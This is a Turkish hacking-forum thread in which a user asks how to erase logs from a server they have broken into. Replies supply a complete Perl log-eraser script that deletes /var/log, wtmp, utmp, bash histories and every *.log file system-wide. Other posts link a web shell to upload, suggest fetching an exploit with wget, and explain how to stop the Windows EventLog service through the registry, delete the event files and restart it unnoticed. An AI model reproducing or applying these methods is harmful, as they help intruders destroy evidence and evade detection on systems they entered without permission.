Forum
Aktif konular
Üyeler
Kurallar
Arama
Tahribat.com Forumları 
Hertürlü Web tabanlı Saldırı Taktik ve Stratejileri 
Serverdan Logları Silme Konusunda Yardım Serverdan Logları Silme Konusunda Yardım
-
arkadaşlar girmiş olduğumuz bir servardan logları nasıl silebiliriz? acil lazım yardımlarınızı bekliyom....
-
nasıl girdin php shell veya fso ile mi yoksa root olarak mı , serverin türü nedir ? windows mu linux mu ?
-
Alıntıdır.... Ama Nasıl uygulanacağını bilmiyom :)) yani yolu var
Diyelim hata kaza o büyük günahı işlediniz ve büyük bir server'a erişim sağladınız.. Erişimle kalmadınız tabiki,dediniz hazır buradayım şu permleri aşayım.. Çalıştırdınız Exploitinizi ve root dedi.. Artık işiniz kolay -ki kolay kısmı yapılır zaten genelde- siteleri hacklediniz.. Çok güzel Ama tüm erişimleriniz kayıt altına alındı.Log dosyası herşeyin kaydını tuttu.Şimdi sıra bu izleri silmekte.. Scriptimiz perl dilinde yazılmış.Gerekli dizinde çalıştırıp bıraktığınız izleri silmek kaldı size artık..
Not:Kişisel tercihim her zaman root.kit,hem daha zevkli hem gelişmeye açık.Tercih sizin.
PERL:21. #!usr/bin/perl
22. use strict;
23. print "!!!!! MSRLE v0.1!!!!!\n";
24. print "Morocco.Security.Rulz.Log.Eraser\n";
25. print "!!!!coded by PRI[ll!!!!\n";
26. system "echo -e \"\033[01;34m---------erasing default log files (too fast =))---------\033[01;37m\"\n";
27. if( -e "/var/log/lastlog" )
28. {
29. system 'rm -rf /var/log/lastlog';
30. system "echo -e \"\\033[01;37m
/var/log/lastlog -erased Ok\"\n";
31. }
32. else
33. {
34. system "echo -e \"\\033[01;31m
/var/log/lastlog - No such file or directory\\033[01;37m\"\n";
35. }
36. if( -e "/var/log/wtmp" )
37. {
38. system 'rm -rf /var/log/wtmp';
39. system "echo -e \"\\033[01;37m
/var/log/wtmp -erased Ok\"\n";
40. }
41. else
42. {
43. system "echo -e \"\\033[01;31m
/var/log/wtmp - No such file or directory\\033[01;37m\"\n";
44. }
45. if( -e "/etc/wtmp" )
46. {
47. system 'rm -rf /etc/wtmp';
48. system "echo -e \"\\033[01;37m
/etc/wtmp -erased Ok\"\n";
49. }
50. else
51. {
52. system "echo -e \"\\033[01;31m
/etc/wtmp - No such file or directory\\033[01;37m\"\n";
53. }
54. if( -e "/var/run/utmp" )
55. {
56. system 'rm -rf /var/run/utmp';
57. system "echo -e \"\\033[01;37m
/var/run/utmp -erased Ok\"\n";
58. }
59. else
60. {
61. system "echo -e \"\\033[01;31m
/var/run/utmp - No such file or directory\\033[01;37m\"\n";
62. }
63. if( -e "/etc/utmp" )
64. {
65. system 'rm -rf /etc/utmp';
66. system "echo -e \"\\033[01;37m
/etc/utmp -erased Ok\"\n";
67. }
68. else
69. {
70. system "echo -e \"\\033[01;31m
/etc/utmp - No such file or directory\\033[01;37m\"\n";
71. }
72. if( -e "/var/log" )
73. {
74. system 'rm -rf /var/log';
75. system "echo -e \"\\033[01;37m
/var/log -erased Ok\"\n";
76. }
77. else
78. {
79. system "echo -e \"\\033[01;31m
/var/log - No such file or directory\\033[01;37m\"\n";
80. }
81. if( -e "/var/logs" )
82. {
83. system 'rm -rf /var/logs';
84. system "echo -e \"\\033[01;37m
/var/logs -erased Ok\"\n";
85. }
86. else
87. {
88. system "echo -e \"\\033[01;31m
/var/logs - No such file or directory\\033[01;37m\"\n";
89. }
90. if( -e "/var/adm" )
91. {
92. system 'rm -rf /var/adm';
93. system "echo -e \"\\033[01;37m
/var/adm -erased Ok\"\n";
94. }
95. else
96. {
97. system "echo -e \"\\033[01;31m
/var/adm - No such file or directory\\033[01;37m\"\n";
98. }
99. if( -e "/var/apache/log" )
100. {
101. system 'rm -rf /var/apache/log';
102. system "echo -e \"\\033[01;37m
/var/apache/log -erased Ok\"\n";
103. }
104. else
105. {
106. system "echo -e \"\\033[01;31m
/var/apache/log - No such file or directory\\033[01;37m\"\n";
107. }
108. if( -e "/var/apache/logs" )
109. {
110. system 'rm -rf /var/apache/logs';
111. system "echo -e \"\\033[01;37m
/var/apache/logs -erased Ok\"\n";
112. }
113. else
114. {
115. system "echo -e \"\\033[01;31m
/var/apache/logs - No such file or directory\\033[01;37m\"\n";
116. }
117. if( -e "/usr/local/apache/log" )
118. {
119. system 'rm -rf /usr/local/apache/log';
120. system "echo -e \"\\033[01;37m
/usr/local/apache/log -erased Ok\"\n";
121. }
122. else
123. {
124. system "echo -e \"\\033[01;31m
/usr/local/apache/log - No such file or directory\\033[01;37m\"\n";
125. }
126. if( -e "/usr/local/apache/logs" )
127. {
128. system 'rm -rf /usr/local/apache/logs';
129. system "echo -e \"\\033[01;37m
/usr/local/apache/logs -erased Ok\"\n";
130. }
131. else
132. {
133. system "echo -e \"\\033[01;31m
/usr/local/apache/logs - No such file or directory\\033[01;37m\"\n";
134. }
135. if( -e "/root/.bash_history" )
136. {
137. system 'rm -rf /root/.bash_history';
138. system "echo -e \"\\033[01;37m
/root/.bash_history -erased Ok\"\n";
139. }
140. else
141. {
142. system "echo -e \"\\033[01;31m
/root/.bash_history - No such file or directory\\033[01;37m\"\n";
143. }
144. if( -e "/root/.ksh_history" )
145. {
146. system 'rm -rf /root/.ksh_history';
147. system "echo -e \"\\033[01;37m
/root/.ksh_history -erased Ok\"\n";
148. }
149. else
150. {
151. system "echo -e \"\\033[01;31m
/root/.ksh_history - No such file or directory\\033[01;37m\"\n";
152. }
153. system "echo -e \"\\033[01;37m
-----done all default log and bash_history files erased !!\"\n";
154. system "echo -e \"\033[01;34m---------Now Erasing the rest of the machine log files (can be long :S)---------\033[01;37m\"\n";
155. system 'find / -name *.bash_history -exec rm -rf {} \;';
156. system "echo -e \"\\033[01;37m
all *.bash_history files -erased Ok!\"\n";
157. system 'find / -name *.bash_logout -exec rm -rf {} \;';
158. system "echo -e \"\\033[01;37m
all *.bash_logout files -erased Ok!\"\n";
159. system 'find / -name log* -exec rm -rf {} \;';
160. system "echo -e \"\\033[01;37m
all log* files -erased Ok!\"\n";
161. system 'find / -name *.log -exec rm -rf {} \;';
162. system "echo -e \"\\033[01;37m
all *.log files -erased Ok!\"\n";
163. system "echo -e \"\033[01;34m-------
!done all log files erased!
-------\033[01;37m\"\n";[/color]
-
php shellmi attın ? atıpda root olmuş isen onun scriptimi ne derler o şeyinden var r57 nin son versiyonunda soyluyodu onun hakkında bişeyler
-
Şimdi logların nerede olduğunu biliyorsan basit bir komutla ki iznin de olmalı silersin,nasıl?
rm -f komutuyla.dosyayı silmene yarar,mesela atıyorum logların bulunduğu dosya log.php olsun salladım
rm -f log.php bunu silmene yarar.
exploit kullanarak yaparım diyorsan,ki ilk sayfada yazmışsın daha dorğusu yapıştırmışınexploiti çekersin onu da wget ile yaparsın şöyle,
"wget http://exploitnerdeyse.com/exploit" , sonra da çalıştırırsın exploiti, anlatabildim mi?
not:düzenledim yazımı ilk yazdığımda çok karmaşık yazmıştım. -
sanırım ben anladım ne demek istedigini şimdi hemen servera windows oldugu için elmalı şeker zehirr vss tarzı birşey upload et ondan sonra logların nerde tutuldugunu bul sonra sil bu kadar basit ha silmesende bir şey olmaz kafana takma
-
AciyaGulmek bunu yazdı:
-----------------------------sanırım ben anladım ne demek istedigini şimdi hemen servera windows oldugu için elmalı şeker zehirr vss tarzı birşey upload et ondan sonra logların nerde tutuldugunu bul sonra sil bu kadar basit ha silmesende bir şey olmaz kafana takma
-----------------------------
pardon,evet sen windows servera girmişsin :) verdiğin exploite bakarak linux servera göre dedim.ama AcıyaGülmek doğru söylemiş bir FSO ile halledebilirsin bu zehir,elmelışeker tarzı birşey olabilir. -
http://rapidshare.de/files/39912814/zehir4.asp.html al zehir4 servera sok yapamazsan link at biz bakalım
-
benim silmek istediklerim burdakilerdi bu konuda bilgisi olan veya yardım edebilecek olan varmı?
-
aynı sorun bendede war ustad Bilgisayar Yönetimi > Olay Görüntüleyicisi > Sistem.. Altındaki bütün logları silmem lazım anlayan warmıdır?
-
Eğer windows ise ve uzakmasaüstü bağlantısı yapabiliyorsan olay görüntülüyicisindeki soldaki menüye sağ tuş tıklayın silin... Eğer uzakmasaüstü bağlantın yok ise
windowsun logları,
ntfs dosya sisteminde
system32\config klasörünün içindeki bütün evt uzantılı dosyalardır, fakat o dosyalar devamlı kullanıldıklarından dolayı öncelikle serviceslerden eventlog servisini kapatman lazım...
eğer masaüstünü görmüyorsan bi remote registry programını kullanarak (windows powershellin içinde var) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog linkinde start değişkeninin değerini 4 yap o zaman manual olur calıştırılması, sildikten sonra tekrar calıştırki fark edilmesin :)
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla